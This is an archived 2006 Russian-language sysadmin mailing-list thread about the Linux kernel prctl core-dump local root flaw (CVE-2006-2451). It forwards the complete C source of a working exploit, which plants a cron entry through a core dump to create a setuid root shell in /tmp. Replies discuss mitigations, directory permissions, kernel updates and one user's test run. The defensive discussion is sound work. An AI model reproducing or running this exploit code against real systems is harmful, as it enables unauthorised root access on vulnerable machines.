* [Sysadmins] Fwd: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t Exploit ( BID 18874 / CVE-2006-2451 )
@ 2006-07-13 9:44 Michael Shigorin
2006-07-13 9:50 ` Alexey I. Froloff
0 siblings, 1 reply; 11+ messages in thread
From: Michael Shigorin @ 2006-07-13 9:44 UTC (permalink / raw)
To: sysadmins
[-- Attachment #1.1: Type: text/plain, Size: 435 bytes --]
Здравствуйте.
Напоминаю тем, у кого linux-2.6 на серверах, что в 2.6.13 до
2.6.17.4 или 2.6.16.24 может быть незаткнут local root и
эксплойт уже опубликован.
Проверено, что и от него помогает иметь в /etc/sysctl.conf
kernel.core_pattern = /dev/null
и соответственно в рантайме
sysctl -w kernel.core_pattern=/dev/null
--
---- WBR, Michael Shigorin <mike@altlinux.ru>
------ Linux.Kiev http://www.linux.kiev.ua/
[-- Attachment #1.2: Type: message/rfc822, Size: 4749 bytes --]
[-- Attachment #1.2.1.1: Type: text/plain, Size: 645 bytes --]
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Maybe this is obvious for Paul Starzetz (as well as many other people) but
full-disclosure is not really "full" without exploit code.
Working exploit attached. You can also download it from:
http://www.rs-labs.com/exploitsntools/rs_prctl_kernel.c
Greetz to !dSR ppl :-)
- --
Saludos,
- -Roman
PGP Fingerprint:
09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742
[Key ID: 0xEAD56742. Available at KeyServ]
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2.2 (MingW32)
iD8DBQFEtD815H+KferVZ0IRAjhKAKCtHnTCwV0D/kH3dt0HItQUPZ/JegCglaQM
vO8VFJyxf+EXy2buqTK4kVM=
=dzRm
-----END PGP SIGNATURE-----
[-- Attachment #1.2.1.2: rs_prctl_kernel.c --]
[-- Type: text/plain, Size: 1684 bytes --]
/*****************************************************/
/* Local r00t Exploit for: */
/* Linux Kernel PRCTL Core Dump Handling */
/* ( BID 18874 / CVE-2006-2451 ) */
/* Kernel 2.6.x (>= 2.6.13 && < 2.6.17.4) */
/* By: */
/* - dreyer <luna@aditel.org> (main PoC code) */
/* - RoMaNSoFt <roman@rs-labs.com> (local root code) */
/* [ 10.Jul.2006 ] */
/*****************************************************/
#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * * root cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";
int main() {
int child;
struct rlimit corelimit;
printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
printf("By: dreyer & RoMaNSoFt\n");
printf("[ 10.Jul.2006 ]\n\n");
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);
printf("[*] Creating Cron entry\n");
if ( !( child = fork() )) {
chdir("/etc/cron.d");
prctl(PR_SET_DUMPABLE, 2);
sleep(200);
exit(1);
}
kill(child, SIGSEGV);
printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
sleep(62);
printf("[*] Running shell (remember to remove /tmp/sh when finished) ...\n");
system("/tmp/sh -i");
}
[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]
^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: [Sysadmins] Fwd: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t Exploit ( BID 18874 / CVE-2006-2451 )
2006-07-13 9:44 [Sysadmins] Fwd: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t Exploit ( BID 18874 / CVE-2006-2451 ) Michael Shigorin
@ 2006-07-13 9:50 ` Alexey I. Froloff
2006-07-13 10:48 ` Dmitry V. Levin
` (2 more replies)
0 siblings, 3 replies; 11+ messages in thread
From: Alexey I. Froloff @ 2006-07-13 9:50 UTC (permalink / raw)
To: sysadmins
[-- Attachment #1: Type: text/plain, Size: 471 bytes --]
* Michael Shigorin <mike@> [060713 13:45]:
> Напоминаю тем, у кого linux-2.6 на серверах, что в 2.6.13 до
> 2.6.17.4 или 2.6.16.24 может быть незаткнут local root и
> эксплойт уже опубликован.
> chdir("/etc/cron.d");
Вот тут оно благополучно хватает -EPERM и отваливаеццо.
--
Regards, Alexey I. Froloff
AIF5-RIPN, AIF5-RIPE
-------------------------------------------
Inform-Mobil, Ltd. System Administrator
http://www.inform-mobil.ru/
[-- Attachment #2: Digital signature --]
[-- Type: application/pgp-signature, Size: 189 bytes --]
^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: [Sysadmins] Fwd: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t Exploit ( BID 18874 / CVE-2006-2451 )
2006-07-13 9:50 ` Alexey I. Froloff
@ 2006-07-13 10:48 ` Dmitry V. Levin
2006-07-13 21:01 ` Michael Shigorin
2006-07-13 11:03 ` Vadim Gusev
2006-07-20 10:11 ` Dmitry Vodennikov
2 siblings, 1 reply; 11+ messages in thread
From: Dmitry V. Levin @ 2006-07-13 10:48 UTC (permalink / raw)
To: ALT Linux sysadmin discuss
[-- Attachment #1: Type: text/plain, Size: 502 bytes --]
On Thu, Jul 13, 2006 at 01:50:34PM +0400, Alexey I. Froloff wrote:
> * Michael Shigorin <mike@> [060713 13:45]:
> > Напоминаю тем, у кого linux-2.6 на серверах, что в 2.6.13 до
> > 2.6.17.4 или 2.6.16.24 может быть незаткнут local root и
> > эксплойт уже опубликован.
>
> > chdir("/etc/cron.d");
> Вот тут оно благополучно хватает -EPERM и отваливаеццо.
У каталогов /etc/cron.d и /etc/cron.*ly права доступа 0750 как минимум со
времён ALM20; я как в воду глядел. :)
--
ldv
[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]
^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: [Sysadmins] Fwd: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t Exploit ( BID 18874 / CVE-2006-2451 )
2006-07-13 10:48 ` Dmitry V. Levin
@ 2006-07-13 21:01 ` Michael Shigorin
2006-07-13 21:12 ` Dmitry V. Levin
0 siblings, 1 reply; 11+ messages in thread
From: Michael Shigorin @ 2006-07-13 21:01 UTC (permalink / raw)
To: ALT Linux sysadmin discuss
On Thu, Jul 13, 2006 at 02:48:10PM +0400, Dmitry V. Levin wrote:
> > > Напоминаю тем, у кого linux-2.6 на серверах, что в 2.6.13
> > > до 2.6.17.4 или 2.6.16.24 может быть незаткнут local root и
> > > эксплойт уже опубликован.
> > > chdir("/etc/cron.d");
> > Вот тут оно благополучно хватает -EPERM и отваливаеццо.
> У каталогов /etc/cron.d и /etc/cron.*ly права доступа 0750 как
> минимум со времён ALM20; я как в воду глядел. :)
Могу сломать их до состояния Защищённого Рхела и ещё раз
попробовать, только тогда надо core->/dev/null опять убирать...
а оно как-то и лениво ;-)
Дим, может, тебе напоминалку повесить про эту настройку хотя бы
в заремаренном виде в sysctl.conf?
--
---- WBR, Michael Shigorin <mike@altlinux.ru>
------ Linux.Kiev http://www.linux.kiev.ua/
^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: [Sysadmins] Fwd: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t Exploit ( BID 18874 / CVE-2006-2451 )
2006-07-13 21:01 ` Michael Shigorin
@ 2006-07-13 21:12 ` Dmitry V. Levin
2006-07-13 21:27 ` Michael Shigorin
0 siblings, 1 reply; 11+ messages in thread
From: Dmitry V. Levin @ 2006-07-13 21:12 UTC (permalink / raw)
To: ALT Linux sysadmin discuss
[-- Attachment #1: Type: text/plain, Size: 1022 bytes --]
On Fri, Jul 14, 2006 at 12:01:33AM +0300, Michael Shigorin wrote:
> On Thu, Jul 13, 2006 at 02:48:10PM +0400, Dmitry V. Levin wrote:
> > > > Напоминаю тем, у кого linux-2.6 на серверах, что в 2.6.13
> > > > до 2.6.17.4 или 2.6.16.24 может быть незаткнут local root и
> > > > эксплойт уже опубликован.
> > > > chdir("/etc/cron.d");
> > > Вот тут оно благополучно хватает -EPERM и отваливаеццо.
> > У каталогов /etc/cron.d и /etc/cron.*ly права доступа 0750 как
> > минимум со времён ALM20; я как в воду глядел. :)
>
> Могу сломать их до состояния Защищённого Рхела и ещё раз
> попробовать, только тогда надо core->/dev/null опять убирать...
> а оно как-то и лениво ;-)
Я не понял, о чём это ты? Exploit не работает благодаря принятым мерам
предосторожности, что не освобождает от необходимости обновить ядро из
Сизифа.
> Дим, может, тебе напоминалку повесить про эту настройку хотя бы
> в заремаренном виде в sysctl.conf?
Повесь, если не трудно. Корки на сервере не нужны.
--
ldv
[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]
^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: [Sysadmins] Fwd: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t Exploit ( BID 18874 / CVE-2006-2451 )
2006-07-13 21:12 ` Dmitry V. Levin
@ 2006-07-13 21:27 ` Michael Shigorin
2006-07-13 21:53 ` Sergey V Kovalyov
2006-07-14 5:55 ` Alexey I. Froloff
0 siblings, 2 replies; 11+ messages in thread
From: Michael Shigorin @ 2006-07-13 21:27 UTC (permalink / raw)
To: ALT Linux sysadmin discuss
[-- Attachment #1: Type: text/plain, Size: 967 bytes --]
On Fri, Jul 14, 2006 at 01:12:34AM +0400, Dmitry V. Levin wrote:
> > > > Вот тут оно благополучно хватает -EPERM и отваливаеццо.
> > > У каталогов /etc/cron.d и /etc/cron.*ly права доступа 0750 как
> > > минимум со времён ALM20; я как в воду глядел. :)
> > Могу сломать их до состояния Защищённого Рхела и ещё раз
> > попробовать, только тогда надо core->/dev/null опять
> > убирать... а оно как-то и лениво ;-)
> Я не понял, о чём это ты? Exploit не работает благодаря
> принятым мерам предосторожности, что не освобождает от
> необходимости обновить ядро из Сизифа.
О том, что у меня оно по EPERM не отваливалось, а вот обломаться
на несуществующем /tmp/sh -- обломалось.
> > Дим, может, тебе напоминалку повесить про эту настройку хотя
> > бы в заремаренном виде в sysctl.conf?
> Повесь, если не трудно. Корки на сервере не нужны.
#9780
--
---- WBR, Michael Shigorin <mike@altlinux.ru>
------ Linux.Kiev http://www.linux.kiev.ua/
[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]
^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: [Sysadmins] Fwd: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t Exploit ( BID 18874 / CVE-2006-2451 )
2006-07-13 21:27 ` Michael Shigorin
@ 2006-07-13 21:53 ` Sergey V Kovalyov
2006-07-13 21:57 ` Sergey V Kovalyov
2006-07-14 5:55 ` Alexey I. Froloff
1 sibling, 1 reply; 11+ messages in thread
From: Sergey V Kovalyov @ 2006-07-13 21:53 UTC (permalink / raw)
To: ALT Linux sysadmin discuss
Michael Shigorin wrote:
> О том, что у меня оно по EPERM не отваливалось, а вот обломаться
> на несуществующем /tmp/sh -- обломалось.
$ ulimit -c
0
^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: [Sysadmins] Fwd: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t Exploit ( BID 18874 / CVE-2006-2451 )
2006-07-13 21:53 ` Sergey V Kovalyov
@ 2006-07-13 21:57 ` Sergey V Kovalyov
0 siblings, 0 replies; 11+ messages in thread
From: Sergey V Kovalyov @ 2006-07-13 21:57 UTC (permalink / raw)
To: ALT Linux sysadmin discuss
Sergey V Kovalyov wrote:
> Michael Shigorin wrote:
>> О том, что у меня оно по EPERM не отваливалось, а вот обломаться
>> на несуществующем /tmp/sh -- обломалось.
>
> $ ulimit -c
> 0
Гм, не подумал... Наверено, эксплоиту это не помеха ;).
^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: [Sysadmins] Fwd: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t Exploit ( BID 18874 / CVE-2006-2451 )
2006-07-13 21:27 ` Michael Shigorin
2006-07-13 21:53 ` Sergey V Kovalyov
@ 2006-07-14 5:55 ` Alexey I. Froloff
1 sibling, 0 replies; 11+ messages in thread
From: Alexey I. Froloff @ 2006-07-14 5:55 UTC (permalink / raw)
To: sysadmins
[-- Attachment #1: Type: text/plain, Size: 455 bytes --]
* Michael Shigorin <mike@> [060714 01:32]:
> О том, что у меня оно по EPERM не отваливалось, а вот обломаться
> на несуществующем /tmp/sh -- обломалось.
Ну, у меня тоже не отвалилось в полном смысле этого слова.
Отвалилось бы, если бы в ксплойте была обработка ошибок.
--
Regards, Alexey I. Froloff
AIF5-RIPN, AIF5-RIPE
-------------------------------------------
Inform-Mobil, Ltd. System Administrator
http://www.inform-mobil.ru/
[-- Attachment #2: Digital signature --]
[-- Type: application/pgp-signature, Size: 189 bytes --]
^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: [Sysadmins] Fwd: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t Exploit ( BID 18874 / CVE-2006-2451 )
2006-07-13 9:50 ` Alexey I. Froloff
2006-07-13 10:48 ` Dmitry V. Levin
@ 2006-07-13 11:03 ` Vadim Gusev
2006-07-20 10:11 ` Dmitry Vodennikov
2 siblings, 0 replies; 11+ messages in thread
From: Vadim Gusev @ 2006-07-13 11:03 UTC (permalink / raw)
To: ALT Linux sysadmin discuss
В сообщении от 13 июля 2006 13:50 Alexey I. Froloff написал:
> * Michael Shigorin <mike@> [060713 13:45]:
> > Напоминаю тем, у кого linux-2.6 на серверах, что в 2.6.13 до
> > 2.6.17.4 или 2.6.16.24 может быть незаткнут local root и
> > эксплойт уже опубликован.
> >
> > chdir("/etc/cron.d");
>
> Вот тут оно благополучно хватает -EPERM и отваливаеццо.
Что-то я не понял что скрипт то делает?
char *payload где там используется?
Кстати на FC4 :)
# ls -ald /etc/cron.d
drwxr-xr-x 2 root root 1024 Jul 12 2005 /etc/cron.d
^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: [Sysadmins] Fwd: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t Exploit ( BID 18874 / CVE-2006-2451 )
2006-07-13 9:50 ` Alexey I. Froloff
2006-07-13 10:48 ` Dmitry V. Levin
2006-07-13 11:03 ` Vadim Gusev
@ 2006-07-20 10:11 ` Dmitry Vodennikov
2 siblings, 0 replies; 11+ messages in thread
From: Dmitry Vodennikov @ 2006-07-20 10:11 UTC (permalink / raw)
To: ALT Linux sysadmin discuss
Alexey I. Froloff пишет:
> * Michael Shigorin <mike@> [060713 13:45]:
>> Напоминаю тем, у кого linux-2.6 на серверах, что в 2.6.13 до
>> 2.6.17.4 или 2.6.16.24 может быть незаткнут local root и
>> эксплойт уже опубликован.
>
>> chdir("/etc/cron.d");
> Вот тут оно благополучно хватает -EPERM и отваливаеццо.
Видимо у кого как. У меня на compact шелл получается (при условии
умолчательных опций монтирования /tmp), по почему-то не рутовый.
---------------------------------------------------
[vod@rs tmp]$ ./rs_prctl_kernel
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]
[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh-2.05b$ id
uid=500(vod) gid=500(vod)
groups=10(wheel),19(proc),22(cdrom),36(camera),37(scanner),71(floppy),80(cdwriter),81(audio),83(radio),106(xgrp),500(vod)
sh-2.05b$ less /var/log/messages
/var/log/messages: Permission denied
sh-2.05b$ uname -r
2.6.12-vs26-smp-alt10
sh-2.05b$ ls -ld /etc/cron*
drwxr-x--- 2 root root 4096 Jul 20 15:53 /etc/cron.d
drwxr-x--- 2 root root 4096 Jul 11 14:45 /etc/cron.daily
-rw-r----- 1 root crontab 0 Dec 19 2004 /etc/cron.deny
drwxr-x--- 2 root root 4096 Jul 11 05:31 /etc/cron.hourly
drwxr-x--- 2 root root 4096 Jul 11 02:51 /etc/cron.monthly
drwxr-x--- 2 root root 4096 Jul 11 14:44 /etc/cron.weekly
-rw------- 1 root root 184 Apr 25 2003 /etc/crontab
-rw-r--r-- 1 root root 167 Apr 26 2003 /etc/crontab.template
---------------------------------------------------
^ permalink raw reply [flat|nested] 11+ messages in thread
end of thread, other threads:[~2006-07-20 10:11 UTC | newest]
Thread overview: 11+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2006-07-13 9:44 [Sysadmins] Fwd: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t Exploit ( BID 18874 / CVE-2006-2451 ) Michael Shigorin
2006-07-13 9:50 ` Alexey I. Froloff
2006-07-13 10:48 ` Dmitry V. Levin
2006-07-13 21:01 ` Michael Shigorin
2006-07-13 21:12 ` Dmitry V. Levin
2006-07-13 21:27 ` Michael Shigorin
2006-07-13 21:53 ` Sergey V Kovalyov
2006-07-13 21:57 ` Sergey V Kovalyov
2006-07-14 5:55 ` Alexey I. Froloff
2006-07-13 11:03 ` Vadim Gusev
2006-07-20 10:11 ` Dmitry Vodennikov
ALT Linux sysadmins discussion
This inbox may be cloned and mirrored by anyone:
git clone --mirror http://lore.altlinux.org/sysadmins/0 sysadmins/git/0.git
# If you have public-inbox 1.1+ installed, you may
# initialize and index your mirror using the following commands:
public-inbox-init -V2 sysadmins sysadmins/ http://lore.altlinux.org/sysadmins \
sysadmins@lists.altlinux.org sysadmins@lists.altlinux.ru sysadmins@lists.altlinux.com
public-inbox-index sysadmins
Example config snippet for mirrors.
Newsgroup available over NNTP:
nntp://lore.altlinux.org/org.altlinux.lists.sysadmins
AGPL code for this site: git clone https://public-inbox.org/public-inbox.git